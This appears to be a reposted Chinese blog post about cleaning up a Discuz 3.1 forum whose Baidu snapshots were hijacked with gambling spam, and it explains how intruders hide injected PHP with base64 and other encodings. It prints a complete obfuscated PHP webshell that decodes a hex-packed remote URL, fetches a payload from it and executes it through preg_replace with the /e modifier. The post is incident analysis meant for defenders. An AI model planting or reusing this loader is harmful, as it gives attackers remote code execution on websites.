discuz 3.1論壇快照被百度劫持解決方案


最近很郁悶,遇到一個很棘手的問題。我們公司有個論壇在百度查看快照信息的時候全部都是博彩信息,但是打開卻無博彩信息顯示。在快照中查看是這樣的

百度快照查看圖:

 

經過思考,懷疑是網站中有網頁被改動了,在某頁面加了判斷,如果來源為搜索引擎的抓取就顯示博彩信息。但是使用editplus文件搜索如: baidu\spider\http等也無效。通過百度搜索別人也遇到相似的問題,入侵者將要寫入的信息加密,通過通用的關鍵字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法

1、base64加密

string base64_encode ( string $data )

使用 base64 對 data 進行編碼。

設計此種編碼是為了使二進制數據可以通過非純 8-bit 的傳輸層傳輸,例如電子郵件的主體。

Base64-encoded 數據要比原始數據多占用 33% 左右的空間。

string base64_decode ( string $data [, bool $strict = false ] )

對 base64 編碼的 data 進行解碼。

參數

data -- 編碼過的數據。

strict -- 如果輸入的數據超出了 base64 字母表,則返回 FALSE。

 

我遇到的就是這種情況

 

2、使用對稱加密方法

 

Webshell代碼如下:

1
2
3
4
5
6
7
8
9
<?php
error_reporting (0);
session_start();
header( "Content-type:text/html;charset=utf-8" ); if ( empty ( $_SESSION [ 'api' ]))
$_SESSION [ 'api' ]= substr ( file_get_contents (
sprintf( '%s?%s' ,pack( "H*" ,
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace( "~(.*)~ies" ,gzuncompress( $_SESSION [ 'api' ]),null);
?>

關鍵看下面這句代碼,

1
sprintf( '%s?%s' ,pack( "H*" ,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這里執行之后其實是一張圖片,解密出來的圖片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

更多參考:http://drops.wooyun.org/papers/1215


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM